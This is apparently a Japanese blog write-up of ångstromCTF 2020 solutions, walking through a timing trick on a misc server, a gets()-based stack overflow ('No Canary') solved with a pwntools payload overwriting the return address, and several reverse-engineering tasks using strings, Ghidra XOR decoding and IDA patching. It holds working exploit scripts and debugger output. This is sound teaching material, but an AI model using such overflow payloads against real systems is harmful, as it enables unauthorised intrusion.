ということは、ほぼ同時刻にサーバに接続すると同じ乱数が使われるのではないでしょうか?
間違った答えを送ると正解が返ってくることを利用して、以下の手順で問題を解きます。
- サーバに接続(通信1)
- すぐにもう一度サーバに接続(通信2)
- 通信1にて間違った答えを送り、正解を受け取る
- 得られた答えを通信2でそのまま送る。
以上を行うプログラムを作成し、実行しました。
from pwn import *
# 複数接続
io = remote('misc.2020.chall.actf.co', 20301)
io2 = remote('misc.2020.chall.actf.co', 20301)
io.recv()
io2.recv()
io.sendline(b'2')
io2.sendline(b'2')
print(io.recv())
print(io2.recv())
io.sendline(b'nandemoi-yo')
io.recvuntil(b'answer was ')
ans = io.recv().split()[0]
print(ans)
io2.sendline(ans)
print(io2.recv())
実行すると、フラグが得られました!!!!
root@kali:/media/sf_share/CTF/angstrom# python3 otb.py
[+] Opening connection to misc.2020.chall.actf.co on port 20301: Done
[+] Opening connection to misc.2020.chall.actf.co on port 20301: Done
b'GzsOEjoYECQuHAAyADwI\nYour answer: '
b'GzsOEjoYECQuHAAyADwI\nYour answer: '
b'YuChxwHRKLEAwsF'
b'actf{one_time_pad_more_like_i_dont_like_crypto-1982309}\n'
BINARY
No Canary (Binary, 50 pts, 531 solves)
Agriculture is the most healthful, most useful and most noble employment of man.
—George Washington
Can you call the flag function in this program (source)?
Try it out on the shell server at /problems/2020/no_canary or by connecting with nc shell.actf.co 20700.
とりあえずソースを見てみましょう。
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
void flag() {
system("/bin/cat flag.txt");
}
int main() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
gid_t gid = getegid();
setresgid(gid, gid, gid);
puts("Ahhhh, what a beautiful morning on the farm!\n");
puts(" _.-^-._ .--.");
puts(" .-' _ '-. |__|");
puts(" / |_| \\| |");
puts(" / \\ |");
puts(" /| _____ |\\ |");
puts(" | |==|==| | |");
puts(" | |--|--| | |");
puts(" | |==|==| | |");
puts("^^^^^^^^^^^^^^^^^^^^^^^^\n");
puts("Wait, what? It's already noon!");
puts("Why didn't my canary wake me up?");
puts("Well, sorry if I kept you waiting.");
printf("What's your name? ");
char name[20];
gets(name);
printf("Nice to meet you, %s!\n", name);
}
flag()
関数を実行できれば良さそうですが、main()
関数からflag()
関数に行くような処理はありません。
gets()
関数が使われているのが気になります。
gets()
関数はバッファオーバーランの危険性があるため、現在では廃止されています。
これを利用して、main()
関数の戻りアドレスをflag()
関数に書き換えることはできないでしょうか?
char name[20];
とあるので、とりあえず20文字以上入力してみます。
PS C:\Users\kuzushiki\Desktop> nc shell.actf.co 20700
Ahhhh, what a beautiful morning on the farm!
_.-^-._ .--.
.-' _ '-. |__|
/ |_| \| |
/ \ |
/| _____ |\ |
| |==|==| | |
| |--|--| | |
| |==|==| | |
^^^^^^^^^^^^^^^^^^^^^^^^
Wait, what? It's already noon!
Why didn't my canary wake me up?
Well, sorry if I kept you waiting.
What's your name? AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Nice to meet you, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA!
Segmentation fault
Segmentation fault
となったので、バッファオーバーランが発生したことが分かります。
それでは戻りアドレスを書き換えてみましょう
まず、書き換え先であるflag()
関数のアドレスを調べます。
root@kali:/media/sf_share/CTF/angstrom/binary# objdump -d no_canary | grep flag
0000000000401186 <flag>:
次に、何バイト書き込めば戻りアドレスが書き換わるのかを調べます。
root@kali:/media/sf_share/CTF/angstrom/binary# gdb -q ./no_canary
Reading symbols from ./no_canary...
(No debugging symbols found in ./no_canary)
gdb-peda$ pattc 50
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbA'
gdb-peda$ run
Starting program: /media/sf_share/CTF/angstrom/binary/no_canary
Ahhhh, what a beautiful morning on the farm!
_.-^-._ .--.
.-' _ '-. |__|
/ |_| \| |
/ \ |
/| _____ |\ |
| |==|==| | |
| |--|--| | |
| |==|==| | |
^^^^^^^^^^^^^^^^^^^^^^^^
Wait, what? It's already noon!
Why didn't my canary wake me up?
Well, sorry if I kept you waiting.
What's your name? AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbA
Nice to meet you, AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbA!
Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
RAX: 0x0
RBX: 0x0
RCX: 0x0
RDX: 0x7ffff7fac580 --> 0x0
RSI: 0x7fffffffb970 ("Nice to meet you, AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbA!\n")
RDI: 0x0
RBP: 0x6141414541412941 ('A)AAEAAa')
RSP: 0x7fffffffe028 ("AA0AAFAAbA")
RIP: 0x4012dd (<main+324>: ret)
R8 : 0x7ffff7fb1500 (0x00007ffff7fb1500)
:
:
省略
:
:
gdb-peda$ patto AA0AAFAAbA
AA0AAFAAbA found at offset: 40
pattc
コマンドで文字パターンを生成、patto
コマンドで文字列が文字パターンの何番目に現れるかを計算します。
書き換わったRSP
の値('A)AAEAAa'
は40番目に出てくるそうです。
つまり何か40文字 + flag()関数のアドレス
を入力すればflag()
関数に遷移できそうです。
早速試してみましょう!
from pwn import *
flag_addr = 0x401186
io = remote('shell.actf.co', 20700)
io.recv()
payload = b'A' * 40 + p64(flag_addr)
io.sendline(payload)
io.interactive()
実行するとフラグが得られました!!
root@kali:/media/sf_share/CTF/angstrom/binary# python3 no.py
[+] Opening connection to shell.actf.co on port 20700: Done
[*] Switching to interactive mode
_.-^-._ .--.
.-' _ '-. |__|
/ |_| \| |
/ \ |
/| _____ |\ |
| |==|==| | |
| |--|--| | |
| |==|==| | |
^^^^^^^^^^^^^^^^^^^^^^^^
Wait, what? It's already noon!
Why didn't my canary wake me up?
Well, sorry if I kept you waiting.
What's your name? Nice to meet you, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x86\x11!
actf{that_gosh_darn_canary_got_me_pwned!}
Segmentation fault
REV
Revving Up (Rev, 50 pts, 926 solves)
Clam wrote a program for his school's cybersecurity club's first rev lecture! Can you get it to give you the flag?
You can find it at /problems/2020/revving_up on the shell server, which you can access via the "shell" link at the top of the site.
CTFサイトにあるshellでプログラム実行してみます。
team5954@actf:/problems/2020/revving_up$ ./revving_up
Congratulations on running the binary!
Now there are a few more things to tend to.
Please type "give flag" (without the quotes).
give flag
Good job!
Now run the program with a command line argument of "banana" and you'll be done!
type "give flag"
と言われたのでgive flag
と打つと、引数にbanana
をつけろと言われました。
引数にbanana
をつけて、再度試してみます。
team5954@actf:/problems/2020/revving_up$ ./revving_up banana
Congratulations on running the binary!
Now there are a few more things to tend to.
Please type "give flag" (without the quotes).
give flag
Good job!
Well I think it's about time you got the flag!
actf{g3tting_4_h4ng_0f_l1nux_4nd_b4sh}
フラグが得られました!
actf{g3tting_4_h4ng_0f_l1nux_4nd_b4sh}
Windows of Opportunity (Rev, 50 pts, 772 solves)
Clam's a windows elitist and he just can't stand seeing all of these linux challenges!
So, he decided to step in and create his own rev challenge with the "superior" operating system.
Linuxでstrings
コマンドを使ってファイルの文字列を確認するとフラグがありました。
root@kali:/media/sf_share/CTF/angstrom/rev# strings windows_of_opportunity.exe | grep actf
bactf{ok4y_m4yb3_linux_is_s7ill_b3tt3r}
actf{ok4y_m4yb3_linux_is_s7ill_b3tt3r}
Taking Off (Rev, 70 pts, 523 solves)
So you started revving up, but is it enough to take off? Find the problem in /problems/2020/taking_off/ in the shell server.
配布されたプログラムを実行してみましょう。
root@kali:/media/sf_share/CTF/angstrom/rev# ./taking_off
So you figured out how to provide input and command line arguments.
But can you figure out what input to provide?
Make sure you have the correct amount of command line arguments!
どうやら決められた数の引数をつける必要がありそうです。
root@kali:/media/sf_share/CTF/angstrom/rev# ./taking_off
So you figured out how to provide input and command line arguments.
But can you figure out what input to provide?
Make sure you have the correct amount of command line arguments!
4個つけてみたところ、値が違うと言われました。
root@kali:/media/sf_share/CTF/angstrom/rev# ./taking_off 1 1 1 1
So you figured out how to provide input and command line arguments.
But can you figure out what input to provide?
Don't try to guess the arguments, it won't work.
Ghidra
を使って静的解析をしてみましょう。
main関数を逆コンパイルした結果を以下に示します。
undefined8 main(int iParm1,long lParm2)
{
int iVar1;
undefined8 uVar2;
size_t sVar3;
long in_FS_OFFSET;
uint local_b4;
uint local_b0;
uint local_ac;
int local_a8;
int local_a4;
char *local_a0;
byte local_98 [136];
long local_10;
local_10 = *(long *)(in_FS_OFFSET + 0x28);
puts("So you figured out how to provide input and command line arguments.");
puts("But can you figure out what input to provide?");
if (iParm1 == 5) {
string_to_int(*(undefined8 *)(lParm2 + 8),&local_b4,&local_b4);
string_to_int(*(undefined8 *)(lParm2 + 0x10),&local_b0,&local_b0);
string_to_int(*(undefined8 *)(lParm2 + 0x18),&local_ac,&local_ac);
iVar1 = is_invalid((ulong)local_b4);
if (iVar1 == 0) {
iVar1 = is_invalid((ulong)local_b0);
if (iVar1 == 0) {
iVar1 = is_invalid((ulong)local_ac);
if ((iVar1 == 0) && (local_ac + local_b0 * 100 + local_b4 * 10 == 0x3a4)) {
iVar1 = strcmp(*(char **)(lParm2 + 0x20),"chicken");
if (iVar1 == 0) {
puts("Well, you found the arguments, but what\'s the password?");
fgets((char *)local_98,0x80,stdin);
local_a0 = strchr((char *)local_98,10);
if (local_a0 != (char *)0x0) {
*local_a0 = '\0';
}
sVar3 = strlen((char *)local_98);
local_a4 = (int)sVar3;
local_a8 = 0;
while (local_a8 <= local_a4) {
if ((local_98[(long)local_a8] ^ 0x2a) != desired[(long)local_a8]) {
puts("I\'m sure it\'s just a typo. Try again.");
uVar2 = 1;
goto LAB_00400bc7;
}
local_a8 = local_a8 + 1;
}
puts("Good job! You\'re ready to move on to bigger and badder rev!");
print_flag();
uVar2 = 0;
goto LAB_00400bc7;
}
}
}
}
puts("Don\'t try to guess the arguments, it won\'t work.");
uVar2 = 1;
}
else {
puts("Make sure you have the correct amount of command line arguments!");
uVar2 = 1;
}
LAB_00400bc7:
if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return uVar2;
}
以下の部分で引数のチェックを行っています。
if ((iVar1 == 0) && (local_ac + local_b0 * 100 + local_b4 * 10 == 0x3a4)) {
iVar1 = strcmp(*(char **)(lParm2 + 0x20),"chicken");
0x3a4は10進数で932なので、3つの引数は以下になります。
local_b4 = 3
local_b0 = 9
local_ac = 2
また、4つ目の引数はchicken
で良さそうです。
./taking_off 3 9 2 chicken
で実行してみましょう。
root@kali:/media/sf_share/CTF/angstrom/rev# ./taking_off 3 9 2 chicken
So you figured out how to provide input and command line arguments.
But can you figure out what input to provide?
Well, you found the arguments, but what's the password?
a
I'm sure it's just a typo. Try again.
次はパスワードを当てる必要があるようです。
以下の部分でパスワードの判定をしています。
while (local_a8 <= local_a4) {
if ((local_98[(long)local_a8] ^ 0x2a) != desired[(long)local_a8]) {
puts("I\'m sure it\'s just a typo. Try again.");
uVar2 = 1;
goto LAB_00400bc7;
}
local_a8 = local_a8 + 1;
}
desired
という配列の値と0x2aのXORを取ったものがパスワードだと分かります。
desired
の値は以下の通りです。
desired
00602090 5a undefined15Ah [0]
00602091 46 undefined146h [1]
00602092 4f undefined14Fh [2]
00602093 4b undefined14Bh [3]
00602094 59 undefined159h [4]
00602095 4f undefined14Fh [5]
00602096 0a undefined10Ah [6]
00602097 4d undefined14Dh [7]
00602098 43 undefined143h [8]
00602099 5c undefined15Ch [9]
0060209a 4f undefined14Fh [10]
0060209b 0a undefined10Ah [11]
0060209c 4c undefined14Ch [12]
0060209d 46 undefined146h [13]
0060209e 4b undefined14Bh [14]
0060209f 4d undefined14Dh [15]
006020a0 2a undefined12Ah [16]
それでは実際に計算してみましょう
enc = [0x5A,
0x46,
0x4F,
0x4B,
0x59,
0x4F,
0x0A,
0x4D,
0x43,
0x5C,
0x4F,
0x0A,
0x4C,
0x46,
0x4B,
0x4D,
0x2A
]
flag = ''
for e in enc:
flag += chr(e ^ 0x2a)
print(flag)
正しいパスワードはplease give flag
でした。
早速CTFページにあるshellに入力してみましょう。
team5954@actf:/problems/2020/taking_off$ ./taking_off 3 9 2 chicken
So you figured out how to provide input and command line arguments.
But can you figure out what input to provide?
Well, you found the arguments, but what's the password?
please give flag
Good job! You're ready to move on to bigger and badder rev!
actf{th3y_gr0w_up_s0_f4st}
フラグが出てきました!!
actf{th3y_gr0w_up_s0_f4st}
Patcherman (Rev, 100 pts, 259 solves)
Oh no! We were gonna make this an easy challenge where you just had to run the binary and it gave you the flag, but then clam came along under the name of "The Patcherman" and edited the binary!
I think he also touched some bytes in the header to throw off disassemblers. Can you still retrieve the flag?
Alternatively, find it on the shell server at /problems/2020/patcherman/.
配布されたプログラムを実行してみましょう。
root@kali:/media/sf_share/CTF/angstrom/rev# ./patcherman
Hey you're not supposed to get the flag! Freeze!
どうやらプログラム自体を修正する必要がありそうです。
今回はIDA
で静的解析してみましょう
main関数の分岐を調べてみます。
以下の部分が怪しそうです。
mov eax, cs:dword_601050
cmp eax, 1337BEEFh
jz short loc_4007B0
dword_601050
の値を確認してみましょう。
LOAD:0000000000601050 dword_601050 dd 0F00DBABEh
ここでdword_601050
が1337BEEFh
と一致しないために、正しい方向に進まないようです。
dword_601050
の値を書き換えてみましょう
IDA
の場合、書き換えたい値を選択し、Edit
-> Patch Program
-> Change byte
で値を変えられます
最後に、Edit
-> Patch Program
-> Apply patches to input file
で保存します。
書き換えたプログラムを実行すると、フラグが得られました!!
root@kali:/media/sf_share/CTF/angstrom/rev# ./patcherman_patched
Here have a flag:
actf{p4tch3rm4n_15_n0_m0r3}
actf{p4tch3rm4n_15_n0_m0r3}
感想
問題の難易度が丁度良く、(BINARYを除く)色んなジャンルを満遍なく解くことができたと思います。
来年もやりたいですね。